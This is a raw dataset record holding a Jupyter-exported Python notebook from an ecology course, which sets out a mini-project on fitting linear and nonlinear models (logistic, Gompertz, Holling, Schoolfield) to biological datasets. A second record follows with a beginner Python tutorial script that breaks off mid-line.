within reach. You will not get extra marks for attempting to fit one or more \"difficult\" models and then, failing overall to achieve a coherent report and model fitting exercise, because, for example, you ended up spending too much time on the \"difficult\" models(s).   \n\n# ## Suggested Workflow\n# \n# You will build a workflow that starts with the data and ends with a report written in LaTeX. \n# \n# The following components and sequence of your workflow are suggested (you may choose to do it differently).\n# \n# ### Data preparation script \n# \n# First, a script that imports the data and prepares it for model fitting. This may be in Python or R, and will typically have the following features:\n# \n# * Creates unique ids so that you can identify unique datasets (e.g., single thermal responses or functional responses). *This may not always be necessary because your data might already contain a field that delineates single curves (e.g., an `ID` field/column)* \n# * Deals with missing, and other problematic data values.\n# * Saves the modified data to one or more csv file(s).\n# \n# \n# ### Model fitting script\n# \n# A separate script that does the Model fitting. For example, it may have the following features: \n# \n# * Opens the (new, modified) dataset from previous step.\n# \n# * Does model fitting. Ultimately you need to fit at least one mechanistic/nonlinear model along with one or more linear models, but for building your workflow, just go ahead an fit a couple of different linear models (e.g., linear regression bvs quadratic and / or cubic polynomial).    \n# \n# * Calculates AIC, BIC, R$^{2}$, and other statistical measures of model fit (you decide what you want to include).\n# \n# * Exports the results to a csv that the [final plotting script](#Final-plotting-script) can read.\n#  \n# \n# ```{note}\n# * Some data series (e.g., a single growth rate or functional response curve) may have insufficient data points for fitting a particular model. That is, the number of unique x-axis values is $\\le k$, where $k$ is the number of parameters in the model (e.g., a regression line has two parameters). Your model fitting will fail on such datasets, but you can deal with those failures later (e.g., by using the `try` keyword that you have learned in both Python and R chapters). In particular, the model fitting (or estimation of goodness of fit statistics) will fail for datasets with small sample sizes, and you can then filter these datasets *after* the Model fitting script has finished running and you are in the Analysis phase.  \n# ```\n# \n# ### Final plotting and analysis script  \n# \n# * Next, write a script that imports the results from the previous step and plots every curve with the two (or more) models (or none, if nothing converges) overlaid. \n#     * Doing this will help you identify poor fits visually and help you decide whether the model fitting (e.g., using NLLS) can be further optimized. \n#     * All plots should be saved in a single separate sub-directory. \n# \n# * This script will also perform any analyses of the results of the Model fitting, for example to summarize which model(s) fit(s) best, and address any biological questions involving co-variates.    \n# \n# ### Report compiling script\n# \n# * Then comes the $\\LaTeX$\u00a0source code and a (typically, Bash) script that compiles it. \n# \n# ### A single script to run them all\n# \n# * Finally, write a script called `run_MiniProject.py` or `run_MiniProject.sh` respectively, which runs the whole project, right down to compilation of the LaTeX\u00a0 document.\n\n# ## For NLLS fitting \n# \n# **FIRST read and work through the materials [here](./20-ModelFitting-NLLS.ipynb) (NLLS in R) and [here](./Appendix-NLLS-Python.ipynb) (NLLS in Python).**\n# \n# * You will typically need to write a script that calculates starting values (more on this topic [here](Model-Fitting-NLLS-Starting-Values)).\n# \n# * You will need to use the `try` keyword because not all runs will converge. *The more data curves you are able to fit, the better \u2014 that is part of the challenge*\n# \n# *One thing to note is that you may need to do the NLLS fitting on the logarithm of the function (and therefore, the data) to facilitate convergence (examples are [here](./20-ModelFitting-NLLS.ipynb) and [here](./Appendix-NLLS-Python.ipynb).\n# \n# ## Getting started \n# \n# Doing all this may seem a bit scary at the start. However, if you approach the problem systematically and methodically, you will soon be on your way. \n#    \n# ```{tip}\n# The Miniproject is also an exercise in learning to pick the right size of (computational) problem given the amount of time you have to solve it. So even if you might be tempted to take on, at the very start, a very ambitious project (basically, picking both linear and non-linear models) and *then* trying to develop your workflow, you will very likely get stuck in \"local optima\" in terms of the overall workflow design and implementation. It is important that you first pick a \"bite sized\" problem (e.g., two linear models), and develop the overall computational work flow, from plotting and fitting to model selection. At the same time, *also start at least outlining  the report* based on the first, simple, tractable problem you pick.     \n# ```\n# \n# Here are some suggested first steps to get started:\n# \n# * Explore the data in R or Python (e.g., using Jupyter) (first part of the suggested workflow above). \n# \n# * Write a preliminary version of the plotting script without the fitted models overlaid. That will also give you a feel for the data and allow you to see (literally) what shapes the curves can take.\n# \n# * Explore the models you will be fitting. Basically, plot them: Write mathematical functions you want to fit in a Python/R script (you can then re-use these functions in your model fitting script as well), and then evaluate them  numerically to see the shape of the function. \n# \n# ```{tip}\n# Remember to sandbox and/or gitignore any code and output for exploratory plotting of the functions in the final product.\n# ```\n# \n# * **For NLLS fitting**, figure out, using one, \"nice-looking\" functional response, population growth curve/dataset, or thermal response, test how the NLLS fitting package and its commands work. This is your minimal example that will give you confidence that it works!\n#    * Next, write a loop over all unique datasets (data curves) using the `try` to catch errors (and examine them carefully) in case the fitting doesn't converge.\n\n# ## The Dataset and Model Options\n# \n# You can pick from one of the following three sets of options. \n# \n# First, let's load some packages to explore the data sets in Python: \n\n# In[1]:\n\n\nimport pandas as pd\nimport scipy as sc\nimport matplotlib.pylab as pl\nimport seaborn as sns # You might need to install this (e.g., pip install seaborn)\n\n\n# ### Population Growth\n# \n# #### The Question \n# \n# *How well do different mathematical models, e.g., based upon population growth (mechanistic) theory  vs. phenomenological ones, fit to functional responses data across species?*\n# \n# Fluctuations in the abundance (density) of single populations may play a crucial role in ecosystem dynamics and emergent functional characteristics, such as rates of carbon fixation or disease transmission. A population grows exponentially while its abundance is low and resources are not limiting (the Malthusian principle). This growth then slows and eventually stops as resources become limiting. There may also be a time lag before the population growth really takes off at the start. We will focus on microbial (specifically, bacterial) growth rates. Bacterial growth in batch culture follows a distinct set of phases; lag phase, exponential phase and stationary phase. During the lag phase a suite of transcriptional machinery is activated, including genes involved in nutrient uptake and metabolic changes, as bacteria prepare for growth. During the exponential growth phase, bacteria divide at a constant rate, the population doubling with each generation. When the carrying capacity of the media is reached, growth slows and the number of cells in the culture stabilises, beginning the stationary phase. Traditionally, microbial growth rates were measured by plotting cell numbers or culture density against time on a semi-log graph and fitting a straight line through the exponential growth phase &ndash; the slope of the line gives the maximum growth rate ($r_{max}$). Models have since been developed which we can use to describe the whole sigmoidal bacterial growth curve. \n# \n# #### The Data\n# \n# The dataset is called `LogisticGrowthData.csv`. It contains measurements of change in biomass or number of cells of microbes over time. These data were collected through lab experiments across the world. The field names are defined in a file called  `LogisticGrowthMetaData.csv`, also in the `data` directory. The two main fields of interest are `PopBio` (abundance), and `Time`. Single population growth rate curves can be identified by as unique  temperature-species-medium-citation-replicate combinations (concatenate them to get a new string variable that identifies unique growth curves).\n# \n# Let's have a look at the data:\n\n# In[20]:\n\n\ndata = pd.read_csv(\"../data/LogisticGrowthData.csv\")\nprint(\"Loaded {} columns.\".format(len(data.columns.values)))\n\n\n# In[21]:\n\n\nprint(data.columns.values)\n\n\n# In[22]:\n\n\npd.read_csv(\"../data/LogisticGrowthMetaData.csv\")\n\n\n# In[23]:\n\n\ndata.head()\n\n\n# In[24]:\n\n\nprint(data.PopBio_units.unique()) #units of the response variable \n\n\n# In[25]:\n\n\nprint(data.Time_units.unique()) #units of the independent variable \n\n\n# Unlike the previous two datasets there are no ID coulmns, so you will have to  infer single growth curves by combining `Species`, `Medium`, `Temp` and `Citation` columns (each species-medium-citation combination is unique):\n\n# In[26]:\n\n\ndata.insert(0, \"ID\", data.Species + \"_\" + data.Temp.map(str) + \"_\" + data.Medium + \"_\" + data.Citation)\n\n\n# Note that the `map()` method coverts temperature values to string (`str`) for concatenation.\n\n# In[27]:\n\n\nprint(data.ID.unique()) #units of the independent variable \n\n\n# These are rather ungainly IDs, so you might want to replace them with numbers!\n\n# In[28]:\n\n\ndata_subset = data[data['ID']=='Chryseobacterium.balustinum_5_TSB_Bae, Y.M., Zheng, L., Hyun, J.E., Jung, K.S., Heu, S. and Lee, S.Y., 2014. Growth characteristics and biofilm formation of various spoilage bacteria isolated from fresh produce. Journal of food science, 79(10), pp.M2072-M2080.']\ndata_subset.head()\n\n\n# In[29]:\n\n\nsns.lmplot(\"Time\", \"PopBio\", data = data_subset, fit_reg = False) # will give warning - you can ignore it\n\n\n# #### The Models\n# \n# Yet again, the simplest mathematical models you can use are the phenomenological quadratic and cubic polynomial models, that is eqns. 1 and 2 above (replace $x$ with Time). A Polynomial model may be able to capture decline in population size after some maximum value (the carrying capacity) has been reached (the \"death phase\" of population growth). For two mechanistic models of population growth (Logistic and Gompertz), have a look at the [Model Fitting Chapter](./20-ModelFitting-NLLS.ipynb).\n# \n# ---\n# \n# ![image](./graphics/Pop_Grow.svg)\n# <small> <center> An example population growth curve dataset to which the modified Gompertz model (Zwietering et. al., 1990) has been fitted.\n# </center></small>\n# \n# (See the [Model fitting in NLLS Chapter](./20-ModelFitting-NLLS.ipynb) for more information)\n# \n# ---\n# \n# In addtion to the Gompertz model, two growth rate models that also include a lag phase are the Baranyi model (Baranyi, 1993), and the Buchanan model (or three-phase logistic model; Buchanan, 1997). Please see the Readings & Resources section below for the full references of these papers.\n\n# ### Functional Responses\n# \n# #### The Question \n# \n# *How well do different mathematical models, e.g., based upon foraging theory (mechanistic) principles  vs. phenomenological ones, fit to functional responses data across species?*\n# \n# In ecological parlance, a functional response is the relationship between a consumer's (e.g., predator) biomass consumption rate and abundance of the target resource (e.g., prey). Functional responses arise from fundamental biological and physical constraints on consumer-resource interactions (e.g., Holling 1959, Pawar et al, 2012), and determine the rate of biomass flow between species in ecosystems across the full scale of sizes, from the smallest (e.g., microbes) to the largest (e.g., blue whales). Functional responses also play a key sole in determining the stability (responses to perturbations) of the food webs that underpin ecosystems.\n# \n# #### The Data\n# \n# The dataset is called `CRat.csv`. It contains measurements of rates of consumption of a single resource (e.g., prey, plants) species' by a consumer species (e.g., predators, grazers). These data were collected through lab and field experiments across the world. The field names are defined in a file called `BiotraitsTemplateDescription.pdf`, also in the `data` directory. The two main fields of interest are `N_TraitValue` (The number of resources consumed per consumer per unit time), and `ResDensity` (the resource abundance). Individual functional response curves can be identified by `ID` values --- each `ID` corresponds to one curve. Or you can reconstruct them as unique combinations of `Citation` (where the functional response dataset came from), `ConTaxa` (consumer species ID), `ResTaxa` (resource species ID).\n# \n# Let's have a look at the data:\n\n# In[12]:\n\n\ndata = pd.read_csv(\"../data/CRat.csv\")\nprint(\"Loaded {} columns.\".format(len(data.columns.values)))\n\n\n# In[13]:\n\n\ndata.head()\n\n\n# In[14]:\n\n\nprint(data.columns.values)\n\n\n# In[15]:\n\n\nprint(data.TraitUnit.unique()) #units of the response variable \n\n\n# In[16]:\n\n\nprint(data.ResDensityUnit.unique()) #units of the independent variable \n\n\n# In[17]:\n\n\nprint(data.ID.unique()) #units of the independent variable \n\n\n# In[18]:\n\n\ndata_subset = data[data['ID']==39982]\ndata_subset.head()\n\n\n# In[19]:\n\n\nsns.lmplot(\"ResDensity\", \"N_TraitValue\", data=data_subset, fit_reg=False)\n\n\n# (Miniproject-FR-Models)=\n# #### The Models\n# \n# *All the following parameters and variables are in SI units*.\n# \n# The fundamental measure of interest (the response variable) is consumption rate ($c$). This is expressed in terms of biomass quantity or number of individuals of resource consumed *per unit time per unit consumer* (so units of Mass (or Individuals) / Time). \n# \n# Again, the simplest mathematical models you can use are the phenomenological quadratic and cubic polynomial models, that is eqns. {eq}`eq:quad` and {eq}`eq:cubic` (replace $x$ with resource abundance).\n# \n# Then, there is the more mechanistic Holling Type II model (Holling, 1959):\n# \n# $$\n#       c = \\frac{a x_R}{1 + h a x_R}\n# $$(eq:FR_II)\n# \n# Here, $x_R$ is resource density (Mass / Area or Volume), $a$ is consumer's search rate (Area or Volume / Time ), and  $h$ is handling time of the consumer for that resource (time taken to overpower and ingest it). \n# \n# Below is an example FR curve from the dataset you have been given with the Type II model fitted to it.  \n# \n# ---\n# ![image](./graphics/3_FR.svg)\n# <small>  <center> Example of the a Type II model (eqn. {eq}`eq:FR_II`) fitted to a functional response of a consumer on a resource. \n# </center> </small>\n# \n# ---\n# \n# There is also the less-mechanistic \"generalized\" functional response model:  \n# \n# $$\n#       c = \\frac{a x_R^{q + 1}}{1 + h a x_R^{q + 1}}\n# $$(eq:FR_gen)\n# \t   \n# Where everything is same as eqn. {eq}`eq:FR_II`, but the additional parameter $q$ (dimensionless) is a shape parameter that allows the shape of the response to be more flexible/variable, from \"Type I\" to \"Type III\". This model is less mechanistic because it includes a phenomenological parameter $q$ which does not have a formal biological meaning. \n# \n# ```{note}\n# Note that if $q=0$, eqn {eq}`eq:FR_gen` becomes same as the Type II model (eqn. {eq}`eq:FR_II`). \n# ```\n# ---\n# ![image](./graphics/FR.svg)\n# <small> <center> The range of functional responses captured by the generalized functional response model (eqn. {eq}`eq:FR_gen`). \n# </center>\n# </small>\n# \n# ---\n# \n# There are not too many other models for functional responses, though you can and should try looking for them in the literature. One more mechanistic model that defines parameters of the Type II functional response in terms of body size of predator and prey can be found in  Pawar et al (2012).\n\n# ### Thermal Performance Curves\n# \n# #### The Question \n# \n# *How well do different mathematical models, e.g., based upon biochemical (mechanistic) principles  vs. phenomenological ones, fit to the thermal responses of metabolic traits?*\n# \n# This is currently a \"hot\" (no pun intended!) topic in biology. On the *ecological side*, because the temperature-dependence of metabolic rate sets the rate of intrinsic $r_\\text{max}$ (papers by Savage et al., Brown et al.) as well as interactions between species, it has a strong effect on population dynamics. In this context, note that 99.9% of life on earth is ectothermic! On the *evolutionary side*, the temperature-dependence of fitness and species interactions also means that warmer environments may have stronger rates of evolution. This may be compounded by the fact that mutation rates may also increase with temperature (papers by Gillooly et al.).\n# \n# #### The Data\n# \n# The dataset is called `ThermRespData.csv`. It contains a subset of the full \"BioTraits\" database. This subset contains hundreds of \"thermal responses\" for growth, respiration and photosynthesis rates in plants and bacteria (both aquatic and terrestrial). These data were collected through lab experiments across the world, and compiled by various people over the years. The field names are defined in a file called `BiotraitsTemplateDescription.pdf`, also in the `data` directory. The two main fields of interest are `OriginalTraitValue` (the trait values responding to temperature), and `ConTemp` (the temperature). Individual thermal response curves can be identified by `ID` values --- each `ID` corresponds to one thermal performance curve.\n# \n# Let's have a look at the data:\n\n# In[3]:\n\n\ndata = pd.read_csv(\"../data/ThermRespData.csv\")\nprint(\"Loaded {} columns.\".format(len(data.columns.values)))\n\n\n# In[4]:\n\n\ndata.head()\n\n\n# In[5]:\n\n\nprint(data.columns.values)\n\n\n# In[6]:\n\n\nprint(data.OriginalTraitUnit.unique()) #units of the response variable \n\n\n# In[7]:\n\n\nprint(data.ConTempUnit.unique()) #units of the independent variable \n\n\n# In[8]:\n\n\nprint(data.ID.unique()) #units of the independent variable \n\n\n# In[9]:\n\n\ndata_subset = data[data['ID']==110]\ndata_subset.head()\n\n\n# In[11]:\n\n\nsns.lmplot(\"ConTemp\", \"OriginalTraitValue\", data=data_subset, fit_reg=False)\n\n\n# (Miniproj-TPCs-Models)=\n# #### The Models\n# \n# *All the following parameters and variables are in SI units*.\n# \n# There are multiple models that might best describe these data. The simplest are the general quadratic and cubic polynomial models:\n# \n# $$\n#     B = B_0 + B_1 x + B_2 x^2\n# $$(eq:quad)\n# \n# \n# $$\n#     B = B_0 + B_1 x + B_2 x^2 + B_3 x^3\n# $$(eq:cubic)\n# \n# These are phenomenological models, with the parameters $B_0$, $B_1$, $B_2$ and $B_3$ lacking any mechanistic interpretation. $x$ is the independent variable (in this case Temperature, $T$) \n# \n# Another phenomenological model option is the Briere model:\n# \n# $$\n# B = \\left\\{\n#         \\begin{array}{ll}\n#             0 & \\quad T \\leq T_0 \\\\\n#             B_0 T (T-T_0) \\sqrt{T_m-T} & \\quad T_0 \\leq T \\leq T_m \\\\\n#             0 & \\quad T \\geq T_m\n#         \\end{array}\n#     \\right.\n# $$(eq:Briere1)\n# \n# Where $T$ is temperature, $T_0$ and $T_m$ are the minimum and maximum feasible temperatures for the trait (below or above which the traits goes to zero), and $B_0$ is a normalization constant.  Example R code for fitting this mdoel can be found [here](Model-Fitting-NLLS-TPCs).\n# \n# If you look at the original paper, you will find that Briere et al also propose a more general version of this equation (by adding a new parameter $m$ to replace the square root above):\n# \n# $$\n# B = \\left\\{\n#         \\begin{array}{ll}\n#             0 & \\quad T \\leq T_0 \\\\\n#             B_0 T (T-T_0) (T_m-T)^\\frac{1}{m} & \\quad T_0 \\leq T \\leq T_m \\\\\n#             0 & \\quad T \\geq T_m\n#         \\end{array}\n#     \\right.\n# $$\n# \n# \n# In contrast, the Schoolfield model (Schoolfield et al 1981) is a mechanistic option that is based upon thermodynamics and enzyme kinetics:\n# \n# $$\n#     B = \\frac{B_0 e^{\\frac{-E}{k} (\\frac{1}{T} - \\frac{1}{283.15})}}\n#     { 1 + e^{\\frac{E_l}{k} (\\frac{1}{T_l} - \\frac{1}{T})} + \n#     e^{\\frac{E_h}{k} (\\frac{1}{T_h} - \\frac{1}{T})}}\n# $$(eq:schoolf)\n# \n# Here, $k$ is the Boltzmann constant ($8.617 \\times 10^{-5}$ eV $\\cdot$ K$^{-1}$), $B$ the value of the trait at a given temperature $T$ (K) (K = $^\\circ$C + 273.15), while $B_0$ is the trait value at 283.15 K (10$^\\circ$C) which stands for the value of the growth rate at low temperature and controls the vertical offset of the curve. $E_l$ is the enzyme's low-temperature de-activation energy (eV) which controls the behavior of the enzyme (and the curve) at very low temperatures, and $T_l$ is the at which the enzyme is 50% low-temperature deactivated. $E_h$ is the\n# enzyme's high-temperature de-activation energy (eV) which controls the behavior of the enzyme (and the curve) at very high temperatures, and $T_h$ is the at which the enzyme is 50% high-temperature deactivated. $E$ is the activation energy (eV) which controls the rise of the curve up to the peak in the \"normal operating range\" for the enzyme (below the peak of the curve and above $T_h$).\n# \n# *Please also have a look at the Delong et al 2017 paper, which lists this and other mechanistic TPC models* (see [Readings & Resources](Miniproj-Readings)). You may choose additional models listed in that paper for comparison, if you want.\n# \n# ---\n# \n# ![image](./graphics/SchoolfEx.png)\n# <small> <center>Example of the full Sharpe-Schoolfield model (Eqn. {eq}`eq:schoolf`) fitted to the thermal response curve of a metabolic trait $x$ with resource abundance. </center> </small>\n# \n# ---\n# \n# In many cases, a simplified Schoolfield model would be more appropriate for thermal response data, because low temperature inactivation is weak, or is undetectable in the data because low-temperature measurements were not made.\n# \n# $$\n#       B = \\frac{B_0 e^{\\frac{-E}{k} (\\frac{1}{T} - \\frac{1}{283.15})}}\n#     { 1 +  e^{\\frac{E_h}{k} (\\frac{1}{T_h} - \\frac{1}{T})}}\n# $$(eq:schoolfH)\n# \n# In other cases, a different simplified Schoolfield model would be more appropriate, because high temperature inactivation was not detectable in the data because measurements were not made at sufficiently high temperatures:\n# \n# $$\n#       B = \\frac{B_0 e^{\\frac{-E}{k} (\\frac{1}{T} - \\frac{1}{283.15})}}\n#     { 1 +  e^{\\frac{E_l}{k} (\\frac{1}{T_l} - \\frac{1}{T})}}\n# $$(eq:schoolfL)\n# \n# Note that the cubic model (Eqn. {eq}`eq:cubic`) has the same number of parameters as the the reduced Schoolfield models (Eqn. {eq}`eq:schoolfH` & {eq}`eq:schoolfL`). Also, the temperature parameter ($T$) of the cubic model (Eqn. {eq}`eq:cubic`) is in $^\\circ$C, whereas the Temperature parameter in the Schoolfield model is in K.\n\n# ## Additional models and questions you can tackle\n# \n# In all three options above, you may try to tackle fitting to additional models you find in the literature. Some Readings have been provided for each of the three data types below. \n# \n# You may choose to tackle some biological hypotheses or explore patterns by considering additional covariates. For example, \n# \n# *Do different taxa show different functional responses?*\n# \n# *Does temperature or taxon identity affect which population growth rate model fits best?*\n# \n# *Do different models fit different types of thermal performance curves (e.g., Photosynthesis vs Respiration)?* \n# \n# You may also choose to revisit the results of another paper that has done comparisons of the models you have chosen with your new dataset (but remember, that may well become too ambitious a project given the time you have).\n\n# (Miniproj-Readings)=\n# ## Readings & Resources\n# \n# Many of these papers are in pdf format in the Readings directory on TheMulQuaBio repository.\n# \n# ### General\n# \n# * Levins, R. (1966) The strategy of model building in population biology. Am. Sci. 54, 421\u2013431.\n# \n# * Johnson, J. B. & Omland, K. S. (2004) Model selection in ecology and evolution. Trends Ecol. Evol. 19, 101\u2013108.\n# \n# * Motulsky, H. & Christopoulos A. (2004) Fitting models to biological data using linear and nonlinear regression: a practical guide to curve fitting. Oxford University Press, USA. \n# \n# * Bolker, B. M. et al. (2013) Strategies for fitting nonlinear ecological models in R, AD Model Builder, and BUGS. Methods Ecol. Evol. 4, 501\u2013512.\n#     \n# \n# ### Functional responses\n# \n# * Holling, C. S. 1959. Some Characteristics of Simple Types of Predation and Parasitism. The Canadian Entomologist 91 (7): 385\u201398. https://doi.org/10.4039/Ent91385-7.\n# \n# * Holling, C S. 1966. The Functional Response of Invertebrate Predators to Prey Density. Mem. Entomol. Soc. Canada 48 (48): 1\u201386.\n# \n# * Aljetlawi, A. A., E. Sparrevik, and K. Leonardsson. 2004. Prey-predator size-dependent functional response: derivation and rescaling to the real world. J. Anim. Ecol. 73, 239\u2013252.\n# \n# * Jeschke, J. M.,  M. Kopp & R. Tollrian. 2002. Predator functional responses: Discriminating between handling and digesting prey. Ecol. Monogr. 72, 95\u2013112.\n# \n# * Pawar, S., A. I. Dell, and V. M. Savage. 2012. Dimensionality of Consumer Search Space Drives Trophic Interaction Strengths. Nature 486 (7404): 485\u201389. https://doi.org/10.1038/nature11131.\n# \n# * Pritchard, D. W., R. A. Paterson, H. C. Bovy, and D. Barrios-O'Neill. 2017. frair: an R package for fitting and comparing consumer functional responses. Methods Ecol. Evol. 8, 1528\u20131534.\n# \n# ### Population Growth\n# \n# * Zwietering, M. H., I. Jongenburger, F. M. Rombouts, and K. Van't Riet. 1990. Modeling of the Bacterial Growth Curve. Applied and Environmental Microbiology 56 (6): 1875\u201381.\n# \n# * Buchanan, R. L., R. C. Whiting, and W. C. Damert. 1997. When Is Simple Good Enough: A Comparison of the Gompertz, Baranyi, and Three-Phase Linear Models for Fitting Bacterial Growth Curves. Food Microbiology 14 (4): 313\u201326. https://doi.org/10.1006/fmic.1997.0125.\n# \n# * Grijspeerdt, K. and P. Vanrolleghem. 1999. Estimating the parameters of the Baranyi model for bacterial growth. Food Microbiol. 16, 593\u2013605.\n# \n# * Micha, P., and M. G. Corradini. 2011. Microbial Growth Curves: What the Models Tell Us and What They Cannot. Critical Reviews in Food Science and Nutrition. https://doi.org/10.1080/10408398.2011.570463.\n# \n# ### Thermal Performance Curves\n# \n# * Schoolfield, R. M., P. J H Sharpe, and C. E. Magnuson. 1981. Non-Linear Regression of Biological Temperature-Dependent Rate Models Based on Absolute Reaction-Rate Theory. Journal of Theoretical Biology 88 (4): 719\u201331. https://doi.org/10.1016/0022-5193(81)90246-0.\n# \n# * Zwietering, M. H.,  J. T de Koos, B. E. Hasenack, J. C. de Witt,  and K. van't Riet. 1991. Modeling of bacterial growth as a function of temperature. Appl. Environ. Microbiol. 57, 1094\u2013101.\n# \n# * Briere J. F., Pracros P., Le Roux A. Y., Pierre J. S. 1999. A novel rate model of temperature-dependent development for arthropods. Environ Entomol 28: 22\u201329.\n# \n# * Dell, A. I., S. Pawar, and V. M. Savage. 2011. Systematic Variation in the Temperature Dependence of Physiological and Ecological Traits. Proceedings of the National Academy of Sciences of the United States of America 108 (26): 10591\u201310596. https://doi.org/doi: 10.1073/pnas.1015178108.\n# \n# * DeLong, J. P., J. P. Gibert, T. M. Luhring, G. Bachman, B. Reed, A. Neyer, and K. L. Montooth. 2017. The Combined Effects of Reactant Kinetics and Enzyme Stability Explain the Temperature Dependence of Metabolic Rates. Ecology and Evolution 7 (11): 3940\u201350. https://doi.org/10.1002/ece3.2955.\n", "meta": {"hexsha": "62474cf8c725f125aff125f28d786cda9da64c53", "size": 42068, "ext": "py", "lang": "Python", "max_stars_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-MiniProj.py", "max_stars_repo_name": "nesbitm/VBiTE_2021", "max_stars_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-MiniProj.py", "max_issues_repo_name": "nesbitm/VBiTE_2021", "max_issues_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "content/_build/jupyter_execute/notebooks/Appendix-MiniProj.py", "max_forks_repo_name": "nesbitm/VBiTE_2021", "max_forks_repo_head_hexsha": "3c8e54d4878ff3f9b9272da73c3c8700902ddb21", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 61.6832844575, "max_line_length": 1488, "alphanum_fraction": 0.731553675, "include": true, "reason": "import scipy", "num_tokens": 10559, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.19193278182505782, "lm_q1q2_score": 0.09221960928536113}}
{"text": "\ndef add_numbers(x, y):\n    return x + y\n\nadd_numbers(1, 2)\n\ndef add_numbers(x,y,z=None):\n    if (z==None):\n        return x+y\n    else:\n        return x+y+z\n\nprint(add_numbers(1, 2))\nprint(add_numbers(1, 2, 3))\n\ndef add_numbers(x, y, z=None, flag=False):\n    if (flag):\n        print('Flag is true!')\n    if (z==None):\n        return x + y\n    else:\n        return x + y + z\n    \nprint(add_numbers(1, 2, flag=True))\n\ndef add_numbers(x,y):\n    return x+y\n\na = add_numbers\na(1,2)\n\ntype('This is a string')\n\ntype(None)\n\ntype(1)\n\ntype(1.0)\n\ntype(add_numbers)\n\nx = (1, 'a', 2, 'b')\ntype(x)\n\nx = [1, 'a', 2, 'b']\ntype(x)\n\nx.append(3.3)\nprint(x)\n\nfor item in x:\n    print(item)\n\ni=0\nwhile( i != len(x) ):\n    print(x[i])\n    i = i + 1\n\n[1,2] + [3,4]\n\n[1]*3\n\n1 in [1, 2, 3]\n\nx = 'This is a string'\nprint(x[0]) #first character\nprint(x[0:1]) #first character, but we have explicitly set the end character\nprint(x[0:2]) #first two characters\n\n\nx[-1]\n\nx[-4:-2]\n\nx[:3]\n\nx[3:]\n\nfirstname = 'Christopher'\nlastname = 'Brooks'\n\nprint(firstname + ' ' + lastname)\nprint(firstname*3)\nprint('Chris' in firstname)\n\n\nfirstname = 'Christopher Arthur Hansen Brooks'.split(' ')[0] # [0] selects the first element of the list\nlastname = 'Christopher Arthur Hansen Brooks'.split(' ')[-1] # [-1] selects the last element of the list\nprint(firstname)\nprint(lastname)\n\n'Chris' + 2\n\n'Chris' + str(2)\n\nx = {'Christopher Brooks': 'brooksch@umich.edu', 'Bill Gates': 'billg@microsoft.com'}\nx['Christopher Brooks'] # Retrieve a value by using the indexing operator\n\n\nx['Kevyn Collins-Thompson'] = None\nx['Kevyn Collins-Thompson']\n\nfor name in x:\n    print(x[name])\n\nfor email in x.values():\n    print(email)\n\nfor name, email in x.items():\n    print(name)\n    print(email)\n\nx = ('Christopher', 'Brooks', 'brooksch@umich.edu')\nfname, lname, email = x\n\nfname\n\nlname\n\nx = ('Christopher', 'Brooks', 'brooksch@umich.edu', 'Ann Arbor')\nfname, lname, email = x\n\nprint('Chris' + 2)\n\nprint('Chris' + str(2))\n\nsales_record = {\n'price': 3.24,\n'num_items': 4,\n'person': 'Chris'}\n\nsales_statement = '{} bought {} item(s) at a price of {} each for a total of {}'\n\nprint(sales_statement.format(sales_record['person'],\n                             sales_record['num_items'],\n                             sales_record['price'],\n                             sales_record['num_items']*sales_record['price']))\n\n\nimport csv\n# \u8bbe\u7f6e\u7cbe\u5ea6\n%precision 2\n\nwith open('mpg.csv') as csvfile:\n    mpg = list(csv.DictReader(csvfile))\n    \nmpg[:3] # The first three dictionaries in our list.\n\nlen(mpg)\n\nmpg[0].keys()\n\nsum(float(d['cty']) for d in mpg) / len(mpg)\n\nsum(float(d['hwy']) for d in mpg) / len(mpg)\n\ncylinders = set(d['cyl'] for d in mpg)\ncylinders\n\nCtyMpgByCyl = []\n\nfor c in cylinders: # iterate over all the cylinder levels\n    summpg = 0\n    cyltypecount = 0\n    for d in mpg: # iterate over all dictionaries\n        if d['cyl'] == c: # if the cylinder level type matches,\n            summpg += float(d['cty']) # add the cty mpg\n            cyltypecount += 1 # increment the count\n    CtyMpgByCyl.append((c, summpg / cyltypecount)) # append the tuple ('cylinder', 'avg mpg')\n\nCtyMpgByCyl.sort(key=lambda x: x[0])\nCtyMpgByCyl\n\nvehicleclass = set(d['class'] for d in mpg) # what are the class types\nvehicleclass\n\nHwyMpgByClass = []\n\nfor t in vehicleclass: # iterate over all the vehicle classes\n    summpg = 0\n    vclasscount = 0\n    for d in mpg: # iterate over all dictionaries\n        if d['class'] == t: # if the cylinder amount type matches,\n            summpg += float(d['hwy']) # add the hwy mpg\n            vclasscount += 1 # increment the count\n    HwyMpgByClass.append((t, summpg / vclasscount)) # append the tuple ('class', 'avg mpg')\n\nHwyMpgByClass.sort(key=lambda x: x[1])\nHwyMpgByClass\n\nimport datetime as dt\nimport time as tm\n\ntm.time()\n\ndtnow = dt.datetime.fromtimestamp(tm.time())\ndtnow\n\ndtnow.year, dtnow.month, dtnow.day, dtnow.hour, dtnow.minute, dtnow.second # get year, month, day, etc.from a datetime\n\ndelta = dt.timedelta(days = 100) # create a timedelta of 100 days\ndelta\n\ntoday = dt.date.today()\n\ntoday - delta # the date 100 days ago\n\ntoday > today-delta # compare dates\n\nclass Person:\n    department = 'School of Information' #a class variable\n# you must use self to define in function\n    def set_name(self, new_name): #a method\n        self.name = new_name\n    def set_location(self, new_location):\n        self.location = new_location\n\nperson = Person()\nperson.set_name('Christopher Brooks')\nperson.set_location('Ann Arbor, MI, USA')\nprint('{} live in {} and works in the department {}'.format(person.name, person.location, person.department))\n\nstore1 = [10.00, 11.00, 12.34, 2.34]\nstore2 = [9.00, 11.10, 12.34, 2.01]\ncheapest = map(min, store1, store2)\ncheapest\n\nfor item in cheapest:\n    print(item)\n\npeople = ['Dr. 